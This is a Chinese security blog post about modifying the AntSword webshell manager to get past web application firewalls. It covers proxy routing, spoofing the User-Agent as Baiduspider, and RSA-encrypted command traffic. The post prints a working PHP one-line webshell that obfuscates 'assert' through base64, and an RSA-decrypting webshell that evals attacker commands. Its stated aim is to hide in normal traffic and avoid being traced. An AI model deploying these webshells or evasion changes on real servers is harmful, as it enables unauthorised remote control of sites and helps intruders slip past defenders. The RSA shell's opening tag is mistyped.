蚁剑特征性信息修改简单过WAF

2024-06-09 12:51:50

0x00 前言

针对于蚁剑的特征，对于流量传输中WAF检测的绕过，打造武器库，进行合理化的修改，例如请求头的伪造，流量的加密等一些常用功能，这边主要进行这几部分的修改。

0x01 修改位置

蚁剑代理通道
UA特征伪造
RSA流量加密

0x02 具体操作

1.蚁剑代理通道

蚁剑代理通道设置（前提是必须有这个代理）：

2.UA特征伪造

蚁剑默认UA抓包：

主要修改的位置：

/modules/request.js

这边主要是推荐百度UA，具体自己可以百度下其他UA，都可以根据需要来进行设置：

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

原来的UA：

UA修改后（百度UA爬虫）：

/modules/update.js

同样的方法，将UA头修改为百度爬虫：

修改前：

修改后UA头：

通过以上修改后，抓包查看：

3.RSA流量加密

蚁剑从2.1开始支持了RSA加密算法，但是仅仅支持php。
在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>

注意这里YXNzZxJ0 base64解密为assert，eval不可以。

因为eval属于语言构造器，在php中不能来回调，类似call_user_function()。

其中数据请求包中存在eval关键字，还是容易被waf检测到，所以UA头一定要记得修改。

采用RSA加密

新建一个rsa编码器

<?hphp
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34
XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k
8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N
eAKyYF0SRzIqPz8CvwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {$cmd .= $de;}
}
eval($cmd);

0x03 总结

细节决定成败，针对于WAF和内网流量设备的检测，使用加密流量去混淆在正常流量中，使用代理模式，防止间接性溯源。如果有更好的绕过方式和流量混淆方式，请及时联系，共同学习进步。

蚁剑特征性信息修改简单过WAF相关推荐

我不允许还有人没下载使用中国蚁剑，修改蚁剑特征冲它
目录一.中国蚁剑下载二.中国蚁剑安装第一步:解压后,打开加载器antsword-Loder文件,并运行AntSword.exe程序第二步:再次打开AntSword.exe,就能再次运行了三. ...
渗透测试-流量加密之冰蝎蚁剑
文章目录前言冰蝎 PHP冰蝎马通信数据包冰蝎初体验冰蝎攻与防蚁剑蚁剑的安装蚁剑初体验蚁剑编码器蚁剑攻与防总结前言一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...
【WAF绕过-权限控制工具】菜刀、蚁剑、冰蝎下载、使用方法
一.菜刀: 1.1.简介:中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用.只要支持动态脚本的网站,都可以用中国菜刀来进行管理1.2.功能:主要功能有:文件管理,虚拟终端,数据库管理1. ...
攻防兼备：中国蚁剑使用指南及特征流量
中国蚁剑是菜刀的升级版本,线现下主流的Webshell连接工具之一,有着较广泛的使用,本篇文章会教给大家蚁剑的使用方法以及不同加密方式的流量特征,兼顾攻防两端. 蚁剑下载安装参考:中国蚁剑(antSw ...
菜刀，蚁剑，冰蝎，哥斯拉的流量特征
蚁剑: ini_set ini_set_time ini_set_limit @ini_set("display_errors","0") 部分代码明文传输,较 ...
菜刀、冰蝎、蚁剑、哥斯拉的流量特征
干货|菜刀.冰蝎.蚁剑.哥斯拉的流量特征文章目录干货|菜刀.冰蝎.蚁剑.哥斯拉的流量特征菜刀流量特征蚁剑(PHP用base64加密): 冰蝎(AES对称加密): 哥斯拉(base64加密): ...
中国蚁剑下载、安装、使用教程
文章目录中国蚁剑下载.安装.使用教程一.中国蚁剑下载二.中国蚁剑安装三.中国蚁剑使用 1.添加一个shell 2.插件 3.关于编码器 4.user-agent修改中国蚁剑下载.安装.使用教 ...
中国蚁剑的下载、安装与使用
一.中国蚁剑下载.安装百度网盘链接:https://pan.baidu.com/s/1Fl0_hFtCtfUgcNIOwKeGEA 提取码:nvjc 共包含2个文件: antSword.zip An ...
蚁剑软件的配置与应用
蚁剑软件的配置与应用蚁剑(antSword)是一款开源的网站管理软件,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员,由于蚁剑(antSword)所有脚本的源代码均来自中国菜刀, ...

最新文章

热门文章